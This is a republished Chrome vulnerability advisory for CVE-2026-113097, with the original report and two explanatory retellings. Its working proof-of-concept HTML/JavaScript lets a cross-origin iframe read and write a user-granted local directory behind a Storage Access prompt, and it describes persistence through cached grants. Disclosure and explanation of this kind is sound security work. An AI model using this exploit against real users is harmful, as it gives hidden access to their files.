Skip to content
Access control Advisory Advanced CVE-2026-113097

Missing authorization in FileSystem (CVE-2026-113097)

Chrome's File System Access checks that block cross-origin iframes only run when a directory picker or permission prompt is shown, not when a stored handle is later used. A third-party iframe could therefore read and write a directory the user had granted to its origin, using only a Storage Access prompt that never mentions the file system.

nh.dev2022 Follow

Originally disclosed on Chrome VRP

Bounty$3,000 High View original
  • Fix shipped in 4 months

VULNERABILITY DETAILS

Chrome blocks File System Access in cross-origin iframes in two places: FileSystemAccessManagerImpl::ChooseEntries rejects the picker, and PermissionGrantImpl::RequestPermission rejects with PermissionRequestOutcome::kThirdPartyContext when embedding_origin != origin_ (chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc:935).

Neither check runs when a handle is used. getFile(), entries(), createWritable() and FileSystemObserver.observe() each test only grant->GetStatus() == GRANTED and proceed; DoRequestPermission (content/browser/file_system_access/file_system_access_handle_base.cc) returns early when status is already GRANTED, so RequestPermission — the only function containing the :935 check — is never called. Grants are stored in active_permissions_map_ keyed by url::Origin, so a first-party grant is the same object the third-party iframe sees.

A third-party iframe obtains the handle via document.requestStorageAccess({indexedDB: true}): the returned StorageAccessHandle.indexedDB is bound with StorageKey::CreateFirstParty(render_frame_host().GetStorageKey().origin()) (content/browser/storage_access/storage_access_handle.cc:64), giving the iframe the origin's first-party IndexedDB where the handle was stored. The Storage Access prompt reads "wants to use information they've saved about you" and does not mention the file system.

Result: a cross-origin iframe reads and writes the local directory the user granted to the iframe's origin, behind a "site data" prompt, with no File System Access prompt — bypassing the :935 check that exists to prevent exactly this.

VERSION Chrome 148.0.7778.178 (Official Build), Linux x86-64. Reproduces on current Stable.

REPRODUCTION CASE

Attached: a-grant.html, a-exfil.html, b-index.html, screen recording.

Serve a-grant.html and a-exfil.html (renamed to grant.html/exfil.html) on one HTTPS origin A, and b-index.html on a different-site HTTPS origin B, editing the iframe src in b-index.html to point at A. (For local repro: /etc/hosts 127.0.0.1 a.example b.example; python3 -m http.server 8080 in A's dir and 8081 in B's; launch with --unsafely-treat-insecure-origin-as-secure="http://a.example:8080,http://b.example:8081" --test-third-party-cookie-phaseout.)

  1. Create an empty test directory and put a marker file in it from a terminal: mkdir /tmp/fsa-test && echo "marker $(date)" > /tmp/fsa-test/MARKER.txt
  2. Open A/grant.html. Click "Pick directory", select /tmp/fsa-test, accept the FSA prompt. Leave this tab open.
  3. In a new tab, open B/index.html. Click "Run" inside the iframe. A Storage Access prompt appears ("a.example wants to use information they've saved about you"). Click Allow.
  4. The iframe displays the contents of MARKER.txt (the string you wrote in step 1) and writes POC_3P_WRITE.txt. No File System Access prompt is shown for either operation.
  5. In the terminal: cat /tmp/fsa-test/POC_3P_WRITE.txt — shows a timestamp written by the cross-origin iframe.

Expected: step 4 fails (kThirdPartyContext, the :935 path). Actual: step 4 succeeds; :935 is never reached.

If the user has additionally enabled "Allow on every visit" for origin A (Page Info → File editing) or installed A as a PWA, step 2's tab can be closed and step 4 still succeeds — PermissionGrantImpl::GetStatus() (chrome_file_system_access_permission_context.cc:785) upgrades ASK to GRANTED via CanAutoGrantViaPersistentPermission(origin_, …) with no embedding-origin check. After step 3's SAA grant, step 4 also succeeds on subsequent page loads with no click for 30 days (PermissionContextBase::RequestPermission returns the cached STORAGE_ACCESS ALLOW before reaching the user-gesture check at storage_access_grant_permission_context.cc:439). This is demonstrated in no_prompt.mp4

a-grant.html:

HTML
<!doctype html><meta charset=utf-8>
<button id=p>Pick directory</button> <pre id=o></pre>
<script>
p.onclick = async () => {
  const d = await showDirectoryPicker({mode: 'readwrite'});
  const db = await new Promise((r,j)=>{const q=indexedDB.open('fsa',1);
    q.onupgradeneeded=()=>q.result.createObjectStore('h');
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  await new Promise(r=>{const t=db.transaction('h','readwrite');
    t.objectStore('h').put(d,'dir');t.oncomplete=r});
  o.textContent='Stored. Leave this tab open; open b-index.html on origin B.';
};
</script>

a-exfil.html:

HTML
<!doctype html><meta charset=utf-8>
<button id=g>Run</button> <pre id=o></pre>
<script>
g.onclick = async () => {
  const sah = await document.requestStorageAccess({indexedDB: true});
  const db  = await new Promise((r,j)=>{const q=sah.indexedDB.open('fsa',1);
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  const d   = await new Promise(r=>{db.transaction('h').objectStore('h')
    .get('dir').onsuccess=e=>r(e.target.result)});
  // Read a file the user created in the terminal (step 1) — third-party, no FSA prompt:
  const m   = await (await d.getFileHandle('MARKER.txt')).getFile();
  o.textContent = `Top: ${location.ancestorOrigins[0]}  Me: ${origin}\n`
    + `Read MARKER.txt (3P, no FSA prompt):\n  ${await m.text()}\n`;
  // Write a file — third-party, no FSA prompt:
  const w = await (await d.getFileHandle('POC_3P_WRITE.txt',{create:true}))
    .createWritable();
  await w.write(`written by ${origin} embedded in ${location.ancestorOrigins[0]} `
    + `at ${new Date().toISOString()}\n`);
  await w.close();
  o.textContent += `Wrote POC_3P_WRITE.txt (3P, no FSA prompt).\n`
    + `Verify on disk:  cat /tmp/fsa-test/POC_3P_WRITE.txt`;
};
</script>

b-index.html:

HTML
<!doctype html><meta charset=utf-8>
<iframe src="http://a.example:8080/exfil.html" style="width:40em;height:18em"></iframe>

SUGGESTED FIX

Check embedding_origin != origin_ (mirroring :935) in FileSystemAccessHandleBase before each use-time operation, regardless of grant status; or key active_permissions_map_ by blink::StorageKey instead of url::Origin.

The original report as published on the Chromium issue tracker, by nh.dev2022. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Chrome's File System Access API lets a page ask the user to pick a directory or file and then read and write it through a handle. Because a handle is a capability over local data, Chrome deliberately restricts the feature in cross-origin iframes: a third-party frame should not be able to use a grant that belongs to the embedded origin. The report here is about a gap in that restriction: the checks exist at picker and permission-request time, but not when a handle is actually used.

The affected component is FileSystem, and the weakness is classified as missing authorization. The researcher is nh.dev2022, the report came through the Chrome VRP, severity is high, and the bounty was 3000.00 USD. It was disclosed on 2026-10-20 under CVE-2026-113097.

Setup

The testing was done on Chrome 148.0.7778.178 (Official Build) on Linux x86-64, and the issue reproduces on current Stable.

The reproduction uses three HTML files, a-grant.html, a-exfil.html and b-index.html, plus a screen recording. a-grant.html and a-exfil.html (renamed to grant.html and exfil.html) are served on one HTTPS origin A, and b-index.html on a different-site HTTPS origin B, with the iframe src in b-index.html edited to point at A.

For a local reproduction the report gives this hosts file entry:

Text
[redacted] a.example b.example

and two static servers, python3 -m http.server 8080 in A's directory and 8081 in B's. Chrome is launched with:

Bash
--unsafely-treat-insecure-origin-as-secure="http://a.example:8080,http://b.example:8081" --test-third-party-cookie-phaseout

Finding it

Chrome blocks File System Access in cross-origin iframes in two places. FileSystemAccessManagerImpl::ChooseEntries rejects the picker, and PermissionGrantImpl::RequestPermission rejects with PermissionRequestOutcome::kThirdPartyContext when embedding_origin != origin_ (chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc:935).

Neither check runs when a handle is used. getFile(), entries(), createWritable() and FileSystemObserver.observe() each test only grant->GetStatus() == GRANTED and proceed. DoRequestPermission (content/browser/file_system_access/file_system_access_handle_base.cc) returns early when the status is already GRANTED, so RequestPermission, the only function containing the :935 check, is never called. Grants are stored in active_permissions_map_ keyed by url::Origin, so a first-party grant is the same object the third-party iframe sees.

The second half of the finding is how the iframe gets hold of the handle at all. A third-party iframe obtains it via document.requestStorageAccess({indexedDB: true}): the returned StorageAccessHandle.indexedDB is bound with StorageKey::CreateFirstParty(render_frame_host().GetStorageKey().origin()) (content/browser/storage_access/storage_access_handle.cc:64), giving the iframe the origin's first-party IndexedDB, where the handle was stored. The Storage Access prompt reads "wants to use information they've saved about you" and does not mention the file system.

The result is that a cross-origin iframe reads and writes the local directory the user granted to the iframe's origin, behind a "site data" prompt, with no File System Access prompt, bypassing the :935 check that exists to prevent exactly this.

Exploitation

Step 1: create a test directory and a marker file

Bash
mkdir /tmp/fsa-test && echo "marker $(date)" > /tmp/fsa-test/MARKER.txt

This creates an empty directory and a marker file whose contents are the word marker followed by a timestamp.

Step 2: grant the directory on origin A

Open A/grant.html. Click "Pick directory", select /tmp/fsa-test, accept the FSA prompt. Leave this tab open.

The page behind that button is a-grant.html:

HTML
<!doctype html><meta charset=utf-8>
<button id=p>Pick directory</button> <pre id=o></pre>
<script>
p.onclick = async () => {
  const d = await showDirectoryPicker({mode: 'readwrite'});
  const db = await new Promise((r,j)=>{const q=indexedDB.open('fsa',1);
    q.onupgradeneeded=()=>q.result.createObjectStore('h');
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  await new Promise(r=>{const t=db.transaction('h','readwrite');
    t.objectStore('h').put(d,'dir');t.oncomplete=r});
  o.textContent='Stored. Leave this tab open; open b-index.html on origin B.';
};

Step 3: run the iframe on origin B and accept the Storage Access prompt

In a new tab, open B/index.html. Click "Run" inside the iframe. A Storage Access prompt appears ("a.example wants to use information they've saved about you"). Click Allow.

The host page is b-index.html:

HTML
<!doctype html><meta charset=utf-8>
<iframe src="http://a.example:8080/exfil.html" style="width:40em;height:18em"></iframe>
HTML
<!doctype html><meta charset=utf-8>
<button id=g>Run</button> <pre id=o></pre>
<script>
g.onclick = async () => {
  const sah = await document.requestStorageAccess({indexedDB: true});
  const db  = await new Promise((r,j)=>{const q=sah.indexedDB.open('fsa',1);
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  const d   = await new Promise(r=>{db.transaction('h').objectStore('h')
    .get('dir').onsuccess=e=>r(e.target.result)});
  // Read a file the user created in the terminal (step 1) — third-party, no FSA prompt:
  const m   = await (await d.getFileHandle('MARKER.txt')).getFile();
  o.textContent = `Top: ${location.ancestorOrigins[0]}  Me: ${origin}\n`
    + `Read MARKER.txt (3P, no FSA prompt):\n  ${await m.text()}\n`;
  // Write a file — third-party, no FSA prompt:
  const w = await (await d.getFileHandle('POC_3P_WRITE.txt',{create:true}))
    .createWritable();
  await w.write(`written by ${origin} embedded in ${location.ancestorOrigins[0]} `
    + `at ${new Date().toISOString()}\n`);
  await w.close();
  o.textContent += `Wrote POC_3P_WRITE.txt (3P, no FSA prompt).\n`
    + `Verify on disk:  cat /tmp/fsa-test/POC_3P_WRITE.txt`;
};

Step 4: observe the result

The iframe displays the contents of MARKER.txt (the string written in step 1) and writes POC_3P_WRITE.txt. No File System Access prompt is shown for either operation.

Step 5: verify on disk

Bash
cat /tmp/fsa-test/POC_3P_WRITE.txt

This shows the timestamp written by the cross-origin iframe.

Expected behaviour in step 4 is failure via kThirdPartyContext, the :935 path. Actual behaviour is that step 4 succeeds and :935 is never reached.

Persistence without the first tab

If the user has additionally enabled "Allow on every visit" for origin A (Page Info, File editing) or installed A as a PWA, step 2's tab can be closed and step 4 still succeeds. PermissionGrantImpl::GetStatus() (chrome_file_system_access_permission_context.cc:785) upgrades ASK to GRANTED via CanAutoGrantViaPersistentPermission(origin_, ...) with no embedding-origin check.

After step 3's Storage Access grant, step 4 also succeeds on subsequent page loads with no click for 30 days, because PermissionContextBase::RequestPermission returns the cached STORAGE_ACCESS ALLOW before reaching the user-gesture check at storage_access_grant_permission_context.cc:439. The report says this is demonstrated in no_prompt.mp4.

Root cause

Chrome blocks File System Access in cross-origin iframes in two places: the picker and the permission request. The use-time operations do not repeat that comparison. They only ask whether the grant's status is GRANTED, and DoRequestPermission short-circuits on an already-granted status, so the function that contains the third-party check is never entered. Because active_permissions_map_ is keyed by url::Origin, the grant the user gave on origin A is the same object the cross-origin frame resolves to.

Impact

A cross-origin iframe can read and write the local directory the user granted to the iframe's origin, with no File System Access prompt, behind a Storage Access prompt that does not mention the file system. With "Allow on every visit" or a PWA install, the original granting tab does not even need to stay open.

Fix

The report suggests two options: check embedding_origin != origin_ (mirroring :935) in FileSystemAccessHandleBase before each use-time operation, regardless of grant status; or key active_permissions_map_ by blink::StorageKey instead of url::Origin. The report does not say which, if either, was adopted.

  1. Other use-time operations on a handle obtained this way: entries(), FileSystemObserver.observe(), and any other method that only checks GetStatus() == GRANTED. A positive result is a cross-origin frame performing the operation with no File System Access prompt.
  2. Other capability APIs whose grants are keyed by origin rather than storage key and reachable through StorageAccessHandle. A positive result is a first-party grant being used from a third-party frame after only a Storage Access prompt.
  3. The persistent-permission path: enable "Allow on every visit" or install the origin as a PWA, close the granting tab, and repeat. A positive result is success with no granting tab open.
  4. The cached Storage Access path: after one Allow, reload the top-level page and repeat without clicking. A positive result is success with no prompt for the documented 30-day window.
  5. Other browsers implementing the File System Access API and the Storage Access API together. A positive result is the same read and write from a cross-origin iframe with only a site-data prompt.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

A website can ask you to hand it a folder on your computer, and then read and write files in that folder. Chrome has a feature for this, called the File System Access API. An API is a set of commands a web page can call to make the browser do something on its behalf, a bit like a menu of services at a counter: the page orders, the browser carries it out. The File System Access API is the part of Chrome that lets a page say "let me open this folder" and then work with the files inside it.

When you grant a folder to a site, Chrome gives the page a handle. A handle is a small object that stands for the folder, the way a coat-check ticket stands for your coat: you do not carry the coat around, you carry the ticket, and whoever holds the ticket can get the coat. A handle is a capability: holding it is the permission to use the thing it points at.

Chrome blocks the File System Access API inside cross-origin iframes. An iframe is a page embedded inside another page, like a picture-in-picture window: the outer page (the top-level page) shows a smaller page from somewhere else inside a frame. When the frame comes from a different site than the outer page, it is called a cross-origin iframe, or a third-party frame.

The report here is about a gap in that rule. Chrome checks the rule in two places: when the page asks you to pick a folder, and when the page asks for permission. It does not check the rule when the handle is actually used to read or write files. So a third-party frame can slip through and use the folder anyway.

The affected component is FileSystem, and the weakness is classified as missing authorization. Authorization means deciding whether someone is allowed to do a thing; missing authorization means the check that should make that decision is absent. The researcher is nh.dev2022, the report came through the Chrome VRP (Chrome's Vulnerability Reward Program, which pays people for reporting security bugs), severity is high, and the bounty was 3000.00 USD. It was disclosed on 2026-10-20 under CVE-2026-113097. A CVE is a public identifier given to a known security flaw so people can refer to it unambiguously.

Setup

The testing was done on Chrome 148.0.7778.178 (Official Build) on Linux x86-64, and the issue reproduces on current Stable. "Stable" is the normal release channel of Chrome that most people run.

The reproduction uses three HTML files, a-grant.html, a-exfil.html and b-index.html, plus a screen recording. a-grant.html and a-exfil.html (renamed to grant.html and exfil.html) are served on one HTTPS origin A, and b-index.html on a different-site HTTPS origin B, with the iframe src in b-index.html edited to point at A.

An origin is the combination of scheme, host and port that identifies a website: for example, https://a.example and https://b.example are two different origins. Browsers use origins as the boundary of trust: code from one origin is not supposed to reach data belonging to another. HTTPS is the encrypted version of HTTP, the protocol browsers use to fetch pages.

For a local reproduction the report gives this hosts file entry:

Text
[redacted] a.example b.example

The hosts file is a small text file on your computer that maps names to addresses before the browser asks the network. This line says that the names a.example and b.example both point at [redacted], which is your own machine. That lets you run two fake websites locally without owning any real domain.

and two static servers, python3 -m http.server 8080 in A's directory and 8081 in B's. A static server is a program that hands out files from a folder over HTTP. python3 -m http.server is a one-line server built into Python: it serves the current directory on the port you give it. Port 8080 serves origin A's files and port 8081 serves origin B's, so the two sites are separate origins even though they live on the same machine.

Chrome is launched with:

Bash
--unsafely-treat-insecure-origin-as-secure="http://a.example:8080,http://b.example:8081" --test-third-party-cookie-phaseout

These are command-line switches passed to Chrome when it starts. Third-party cookies are cookies set by an embedded site rather than the site you are visiting; browsers have been phasing them out, and the Storage Access API is the mechanism that lets an embedded site ask for access to its own stored data in that new world.

Finding it

Chrome blocks File System Access in cross-origin iframes in two places. FileSystemAccessManagerImpl::ChooseEntries rejects the picker, and PermissionGrantImpl::RequestPermission rejects with PermissionRequestOutcome::kThirdPartyContext when embedding_origin != origin_ (chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc:935).

In plain words: the function that opens the folder picker refuses when the request comes from a third-party frame, and the function that asks for permission refuses with a specific outcome code, kThirdPartyContext, when the origin of the embedding page is different from the origin of the frame. The :935 is a line number in a source file, a way of pointing at the exact check.

Neither check runs when a handle is used. getFile(), entries(), createWritable() and FileSystemObserver.observe() each test only grant->GetStatus() == GRANTED and proceed. DoRequestPermission (content/browser/file_system_access/file_system_access_handle_base.cc) returns early when the status is already GRANTED, so RequestPermission, the only function containing the :935 check, is never called. Grants are stored in active_permissions_map_ keyed by url::Origin, so a first-party grant is the same object the third-party iframe sees.

Here is what each of those names means. getFile() reads a file's contents. entries() lists what is inside a folder. createWritable() opens a file for writing. FileSystemObserver.observe() watches a file or folder for changes. Each of these is a use-time operation: something the page does with a handle it already has. The code for each one only asks "is this grant already marked as granted?" and if the answer is yes, it goes ahead. DoRequestPermission is the internal function that would normally trigger the permission check, but it returns early, meaning it stops immediately, when the status is already GRANTED. That matters because RequestPermission is the only function that contains the third-party check at :935, so if DoRequestPermission never calls it, the check never happens.

Grants are stored in a map called active_permissions_map_, keyed by url::Origin. A map is a lookup table: you give it a key and it gives you a value, like a phone book where the name is the key and the number is the value. Here the key is the origin, so the grant the user gave on origin A is stored under A. When the third-party frame from A looks up its grant, it finds the very same object. There is no separate copy for "A inside B"; it is one grant, shared.

The second half of the finding is how the iframe gets hold of the handle at all. A third-party iframe obtains it via document.requestStorageAccess({indexedDB: true}): the returned StorageAccessHandle.indexedDB is bound with StorageKey::CreateFirstParty(render_frame_host().GetStorageKey().origin()) (content/browser/storage_access/storage_access_handle.cc:64), giving the iframe the origin's first-party IndexedDB, where the handle was stored. The Storage Access prompt reads "wants to use information they've saved about you" and does not mention the file system.

document.requestStorageAccess() is the Storage Access API: a way for an embedded third-party frame to ask the browser for access to its own stored data, the kind of data that third-party cookie blocking would otherwise hide. indexedDB: true says "I want my IndexedDB back". IndexedDB is a database built into the browser that a website can use to store structured data locally, like a small filing cabinet that belongs to that site. StorageAccessHandle is the object the call returns, a wrapper that gives the frame access to that storage. The line at :64 binds the wrapper's indexedDB to the first-party storage key of the frame's origin, meaning the frame sees the same IndexedDB it would see if it were the top-level page. That is where the handle was saved in step 2, so the frame can now fetch it.

The Storage Access prompt the user sees is generic: "wants to use information they've saved about you". It says nothing about files or folders. So the user thinks they are allowing site data, and in fact they are also allowing file access.

The result is that a cross-origin iframe reads and writes the local directory the user granted to the iframe's origin, behind a "site data" prompt, with no File System Access prompt, bypassing the :935 check that exists to prevent exactly this.

Exploitation

Step 1: create a test directory and a marker file

Bash
mkdir /tmp/fsa-test && echo "marker $(date)" > /tmp/fsa-test/MARKER.txt

mkdir /tmp/fsa-test creates a new empty folder at /tmp/fsa-test. The && means "and then, only if that worked". echo "marker $(date)" prints the word marker followed by the current date and time; $(date) is replaced by the output of the date command. The > redirects that output into a file called MARKER.txt inside the new folder. This creates an empty directory and a marker file whose contents are the word marker followed by a timestamp.

Step 2: grant the directory on origin A

Open A/grant.html. Click "Pick directory", select /tmp/fsa-test, accept the FSA prompt. Leave this tab open.

The page behind that button is a-grant.html:

HTML
<!doctype html><meta charset=utf-8>
<button id=p>Pick directory</button> <pre id=o></pre>
<script>
p.onclick = async () => {
  const d = await showDirectoryPicker({mode: 'readwrite'});
  const db = await new Promise((r,j)=>{const q=indexedDB.open('fsa',1);
    q.onupgradeneeded=()=>q.result.createObjectStore('h');
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  await new Promise(r=>{const t=db.transaction('h','readwrite');
    t.objectStore('h').put(d,'dir');t.oncomplete=r});
  o.textContent='Stored. Leave this tab open; open b-index.html on origin B.';
};
</script>

Line by line:

  • <!doctype html><meta charset=utf-8> tells the browser this is an HTML page and that the text is UTF-8 encoded.
  • <button id=p>Pick directory</button> is a button with the identifier p. <pre id=o></pre> is an empty text area with the identifier o, used later to show a message.
  • <script> starts a block of JavaScript, the language web pages run in the browser.
  • p.onclick = async () => { says: when the button p is clicked, run this function. async means the function can wait for slow things (like the user picking a folder) without freezing the page.
  • const d = await showDirectoryPicker({mode: 'readwrite'}); opens the folder picker and waits for the user to choose a folder. mode: 'readwrite' asks for permission to read and write. The result, a directory handle, is stored in d.
  • const db = await new Promise((r,j)=>{...}) opens an IndexedDB database. A Promise is a placeholder for a result that will arrive later; r is the function to call on success, j on failure. Inside, indexedDB.open('fsa',1) opens (or creates) a database named fsa, version 1.
  • q.onupgradeneeded=()=>q.result.createObjectStore('h'); runs the first time the database is created and makes a store (think: a table) called h.
  • q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error) hands the opened database to r on success, or the error to j on failure.
  • await new Promise(r=>{const t=db.transaction('h','readwrite'); t.objectStore('h').put(d,'dir'); t.oncomplete=r}); starts a read-write transaction on store h, puts the handle d under the key 'dir', and waits until the transaction completes. A transaction is a group of database operations that succeed or fail together.
  • o.textContent='Stored. Leave this tab open; open b-index.html on origin B.'; writes a message into the text area so the user knows the handle was saved.

Step 3: run the iframe on origin B and accept the Storage Access prompt

In a new tab, open B/index.html. Click "Run" inside the iframe. A Storage Access prompt appears ("a.example wants to use information they've saved about you"). Click Allow.

The host page is b-index.html:

HTML
<!doctype html><meta charset=utf-8>
<iframe src="http://a.example:8080/exfil.html" style="width:40em;height:18em"></iframe>

This is a minimal page. The <iframe> element embeds another page inside it. src="http://a.example:8080/exfil.html" says which page to embed: origin A's exfil.html. style="width:40em;height:18em" just sets the frame's size on screen. So origin B's page shows origin A's page inside a box. That is the cross-origin iframe: the outer page is B, the inner page is A, and they are different origins.

HTML
<!doctype html><meta charset=utf-8>
<button id=g>Run</button> <pre id=o></pre>
<script>
g.onclick = async () => {
  const sah = await document.requestStorageAccess({indexedDB: true});
  const db  = await new Promise((r,j)=>{const q=sah.indexedDB.open('fsa',1);
    q.onsuccess=()=>r(q.result);q.onerror=()=>j(q.error)});
  const d   = await new Promise(r=>{db.transaction('h').objectStore('h')
    .get('dir').onsuccess=e=>r(e.target.result)});
  // Read a file the user created in the terminal (step 1) — third-party, no FSA prompt:
  const m   = await (await d.getFileHandle('MARKER.txt')).getFile();
  o.textContent = `Top: ${location.ancestorOrigins[0]}  Me: ${origin}\n`
    + `Read MARKER.txt (3P, no FSA prompt):\n  ${await m.text()}\n`;
  // Write a file — third-party, no FSA prompt:
  const w = await (await d.getFileHandle('POC_3P_WRITE.txt',{create:true}))
    .createWritable();
  await w.write(`written by ${origin} embedded in ${location.ancestorOrigins[0]} `
    + `at ${new Date().toISOString()}\n`);
  await w.close();
  o.textContent += `Wrote POC_3P_WRITE.txt (3P, no FSA prompt).\n`
    + `Verify on disk:  cat /tmp/fsa-test/POC_3P_WRITE.txt`;
};
</script>

Line by line:

  • The page has a button g labelled "Run" and a text area o for output.
  • g.onclick = async () => { runs the function when the button is clicked.
  • const sah = await document.requestStorageAccess({indexedDB: true}); asks the browser for Storage Access, specifically for IndexedDB. This is the call that triggers the "wants to use information they've saved about you" prompt. The result is a StorageAccessHandle in sah.
  • const db = await new Promise((r,j)=>{const q=sah.indexedDB.open('fsa',1); ...}); opens the fsa database, but through sah.indexedDB, not the frame's ordinary indexedDB. That is the key detail: sah.indexedDB is the first-party database of origin A, the one where the handle was saved in step 2.
  • const d = await new Promise(r=>{db.transaction('h').objectStore('h').get('dir').onsuccess=e=>r(e.target.result)}); reads the entry under key 'dir' from store h and puts it in d. That entry is the directory handle the user granted in step 2.
  • const m = await (await d.getFileHandle('MARKER.txt')).getFile(); gets a handle for MARKER.txt inside the granted folder, then calls getFile() to read it. The comment above it says this is third-party with no FSA prompt, which is the whole point of the test.
  • o.textContent = ... writes to the output area: the top-level origin from location.ancestorOrigins[0] (the origin of the page that embedded this frame), the frame's own origin from origin, and the text of the marker file from await m.text().
  • const w = await (await d.getFileHandle('POC_3P_WRITE.txt',{create:true})).createWritable(); gets a handle for a file called POC_3P_WRITE.txt, creating it if it does not exist, and opens it for writing.
  • await w.write(...) writes a line saying which origin wrote it, which origin embedded it, and the current time. new Date().toISOString() produces the timestamp in a standard format.
  • await w.close(); finishes the write and closes the file.
  • The last o.textContent += ... appends a confirmation and the command to check the file on disk.

Step 4: observe the result

The iframe displays the contents of MARKER.txt (the string written in step 1) and writes POC_3P_WRITE.txt. No File System Access prompt is shown for either operation.

Step 5: verify on disk

Bash
cat /tmp/fsa-test/POC_3P_WRITE.txt

cat prints a file's contents to the terminal. This shows the timestamp written by the cross-origin iframe.

Expected behaviour in step 4 is failure via kThirdPartyContext, the :935 path. Actual behaviour is that step 4 succeeds and :935 is never reached.

Persistence without the first tab

If the user has additionally enabled "Allow on every visit" for origin A (Page Info, File editing) or installed A as a PWA, step 2's tab can be closed and step 4 still succeeds. "Allow on every visit" is a setting in Chrome's Page Info panel that makes a permission permanent for that site. A PWA is a Progressive Web App, a website installed so it behaves like a desktop application. PermissionGrantImpl::GetStatus() (chrome_file_system_access_permission_context.cc:785) upgrades ASK to GRANTED via CanAutoGrantViaPersistentPermission(origin_, ...) with no embedding-origin check. In plain words: when the site has a persistent permission, the status function silently turns "ask me" into "granted" without checking whether the request is coming from a third-party frame.

After step 3's Storage Access grant, step 4 also succeeds on subsequent page loads with no click for 30 days, because PermissionContextBase::RequestPermission returns the cached STORAGE_ACCESS ALLOW before reaching the user-gesture check at storage_access_grant_permission_context.cc:439. A cache is a stored copy of an earlier answer, kept so the browser does not have to ask again. The Storage Access answer "allow" is cached for 30 days, and the code returns that cached answer before it reaches the check that would normally require a fresh user click. The report says this is demonstrated in no_prompt.mp4.

Root cause

Chrome blocks File System Access in cross-origin iframes in two places: the picker and the permission request. The use-time operations do not repeat that comparison. They only ask whether the grant's status is GRANTED, and DoRequestPermission short-circuits on an already-granted status, so the function that contains the third-party check is never entered. "Short-circuits" means it exits early, skipping the rest of the logic. Because active_permissions_map_ is keyed by url::Origin, the grant the user gave on origin A is the same object the cross-origin frame resolves to.

Impact

A cross-origin iframe can read and write the local directory the user granted to the iframe's origin, with no File System Access prompt, behind a Storage Access prompt that does not mention the file system. With "Allow on every visit" or a PWA install, the original granting tab does not even need to stay open.

Fix

The report suggests two options: check embedding_origin != origin_ (mirroring :935) in FileSystemAccessHandleBase before each use-time operation, regardless of grant status; or key active_permissions_map_ by blink::StorageKey instead of url::Origin. The first option means: repeat the same third-party check at the moment a handle is used, not only when it is picked or requested. The second means: store grants under a key that includes the embedding context, so a grant made in a top-level page is not the same entry a third-party frame looks up. The report does not say which, if either, was adopted.

  1. Other use-time operations on a handle obtained this way: entries(), FileSystemObserver.observe(), and any other method that only checks GetStatus() == GRANTED. A positive result is a cross-origin frame performing the operation with no File System Access prompt.
  2. Other capability APIs whose grants are keyed by origin rather than storage key and reachable through StorageAccessHandle. A positive result is a first-party grant being used from a third-party frame after only a Storage Access prompt.
  3. The persistent-permission path: enable "Allow on every visit" or install the origin as a PWA, close the granting tab, and repeat. A positive result is success with no granting tab open.
  4. The cached Storage Access path: after one Allow, reload the top-level page and repeat without clicking. A positive result is success with no prompt for the documented 30-day window.
  5. Other browsers implementing the File System Access API and the Storage Access API together. A positive result is the same read and write from a cross-origin iframe with only a site-data prompt.

Glossary

  • API: a set of commands a program or web page can call to make another piece of software do something on its behalf.
  • Authorization: the decision about whether someone is allowed to perform an action.
  • Missing authorization: a flaw where the check that should make that decision is absent, so an action is allowed that should have been refused.
  • CVE: a public identifier assigned to a known security vulnerability so it can be referred to unambiguously.
  • Chrome VRP: Chrome's Vulnerability Reward Program, which pays researchers for reporting security bugs.
  • Bounty: the money paid to a researcher for a valid report.
  • Severity: a rating of how serious a vulnerability is.
  • Origin: the combination of scheme, host and port that identifies a website, and the boundary browsers use to separate one site's data from another's.
  • Cross-origin / third-party: coming from a different origin than the page that contains it.
  • Iframe: an HTML element that embeds one web page inside another.
  • Top-level page: the page in the browser tab, as opposed to a page embedded inside it.
  • File System Access API: the Chrome feature that lets a page ask the user to pick a file or folder and then read and write it.
  • Handle: an object that stands for a file or folder and grants the ability to use it; holding it is the permission.
  • Capability: a permission that is carried by holding a particular object or token.
  • Use-time operation: an action performed with a handle the page already has, such as reading, listing or writing.
  • getFile(): reads a file's contents.
  • entries(): lists the contents of a folder.
  • createWritable(): opens a file for writing.
  • Grant: a permission the user has given to a site.
  • Map: a lookup table that returns a value for a given key.
  • Key: the identifier used to look something up in a map.
  • url::Origin: the internal type Chrome uses to represent an origin.
  • blink::StorageKey: the internal type Chrome uses to represent a storage key, which includes more context than a bare origin.
  • Storage Access API: the browser feature that lets an embedded third-party frame ask for access to its own stored data.
  • IndexedDB: a database built into the browser that a website can use to store structured data locally.
  • First-party: belonging to the site the user is visiting directly, as opposed to an embedded third party.
  • Storage key: the identifier under which a site's stored data is filed, including its origin and related context.
  • StorageAccessHandle: the object returned by the Storage Access API that gives the frame access to its stored data.
  • Prompt: a dialog the browser shows asking the user to allow or deny something.
  • Hosts file: a local text file that maps host names to IP addresses before the network is consulted.
  • Static server: a program that serves files from a folder over HTTP.
  • Port: a number that identifies a particular service on a machine, so several servers can run on one computer.
  • HTTPS: the encrypted version of HTTP, the protocol browsers use to fetch pages.
  • Command-line flag / switch: an option passed to a program when it starts to change its behaviour.
  • Third-party cookie: a cookie set by an embedded site rather than the site being visited.
  • Third-party cookie phaseout: the browser change that removes or restricts third-party cookies, which is why the Storage Access API exists.
  • Promise: a placeholder for a result that will arrive later, with success and failure handlers.
  • Transaction: a group of database operations that succeed or fail together.
  • Persisted: saved to disk so it survives a reload.
  • Cache: a stored copy of an earlier answer, kept so the browser does not have to ask again.
  • PWA (Progressive Web App): a website installed so it behaves like a desktop application.
  • "Allow on every visit": a Chrome setting that makes a site's permission permanent.
  • Short-circuit: to exit a function early, skipping the rest of its logic.
  • kThirdPartyContext: the outcome code Chrome uses to reject a permission request that comes from a third-party frame.
  • kThirdPartyContext / :935 path: the code path at line 935 of the permission context file that performs the third-party check.
